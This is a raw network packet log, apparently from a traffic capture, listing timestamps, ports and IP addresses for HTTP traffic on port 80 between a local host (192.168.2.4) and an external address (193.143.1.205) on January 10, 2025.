Jan 10, 2025 22:08:53.115967989 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115981102 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.115982056 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.116007090 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.116029024 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.145142078 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.164546013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.164566040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.164577961 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.164588928 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.164602041 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.164635897 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.164669991 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.195617914 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.200305939 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200323105 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200341940 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200355053 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200373888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200386047 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200392008 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.200404882 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200414896 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.200417995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200433969 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200437069 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.200447083 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200459957 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200460911 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.200500011 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.200522900 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.200900078 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200922012 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200932026 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200963020 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.200964928 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200978041 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.200989008 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.201010942 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.201036930 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.235407114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235423088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235506058 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.235573053 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235585928 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235599995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235618114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235630989 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235631943 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.235641956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235650063 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235660076 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235671997 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235681057 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.235707998 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.235747099 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.235939026 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235949993 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.235991001 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236426115 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236438036 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236449003 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236459970 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236473083 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236479044 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236490011 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236500978 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236502886 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236511946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236524105 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236530066 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236536980 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236547947 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236548901 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236560106 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236571074 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236574888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236617088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236632109 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236632109 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236681938 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236694098 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236705065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236716986 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236732960 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236758947 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236818075 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236830950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236841917 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236854076 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236862898 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236865997 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236876965 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236888885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236891985 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236900091 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236912012 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236917973 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236927986 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.236948013 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.236948013 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.237507105 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237524986 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237536907 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237548113 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237555981 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.237560034 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237571955 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237577915 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.237582922 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237596035 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237598896 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.237608910 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237621069 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237632036 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237643003 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.237643957 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237656116 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237662077 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.237665892 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237679005 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.237679958 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237693071 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237695932 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.237705946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.237749100 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.237749100 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.240530014 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240549088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240561962 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240571976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240583897 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240596056 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240605116 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.240607977 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240619898 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240628958 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.240633011 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240643978 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240648031 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.240655899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240667105 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240668058 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.240679979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240693092 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240701914 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.240724087 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.240748882 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.240926027 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240936995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.240976095 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241019964 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241033077 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241043091 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241055965 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241067886 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241077900 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241080999 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241091013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241101980 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241125107 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241303921 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241316080 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241327047 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241338015 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241348982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241352081 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241378069 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241384983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241398096 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241405010 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241415977 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241436958 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241449118 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241453886 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241461992 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241473913 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241506100 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241826057 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241837978 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241849899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241862059 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.241883993 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.241909981 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.254455090 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.254475117 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.254484892 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.254497051 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.254509926 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.254519939 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.254534006 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.254537106 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.254547119 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.254582882 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.254609108 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.290283918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290302038 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290321112 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290334940 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290349960 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290361881 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290375948 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290380955 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.290380955 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.290389061 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290404081 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290426016 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.290452003 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.290868044 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290879965 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290890932 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290901899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290915966 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290920973 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.290926933 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290937901 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290942907 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.290950060 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.290961981 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.291007042 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.325463057 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325478077 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325489044 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325500011 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325510979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325522900 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325535059 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325539112 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.325548887 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325596094 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.325732946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325745106 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325762987 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325777054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325781107 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.325788021 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325820923 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.325841904 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325843096 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.325855017 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325867891 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325877905 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.325908899 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.325908899 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326100111 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326119900 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326133013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326143026 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326155901 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326165915 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326167107 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326178074 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326189041 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326216936 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326236010 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326280117 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326284885 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326311111 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326328039 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326344013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326354980 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326359034 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326386929 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326394081 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326399088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326436043 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326598883 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326617002 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326627970 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326637030 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326648951 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326659918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326664925 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326666117 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326670885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326685905 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326687098 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326698065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326709032 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326716900 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326719046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326730013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326740026 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326761961 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326776981 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326776981 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326780081 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326791048 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326802015 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326803923 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326816082 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326822042 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326828003 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326838017 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326848984 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326859951 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326859951 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326869965 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326884031 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326886892 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326903105 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326904058 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326913118 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326925039 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326936960 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326947927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326951981 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326973915 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.326978922 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326991081 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.326994896 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327003002 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327013016 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327023983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327034950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327047110 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327045918 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327066898 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327081919 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327084064 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327127934 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327182055 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327192068 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327202082 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327213049 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327231884 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327236891 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327250957 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327263117 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327264071 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327275038 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327286005 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327297926 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327301979 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327308893 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327331066 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327344894 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327344894 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.327352047 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.327362061 CET	80	49731	193.143.1.205	192.168.2.4
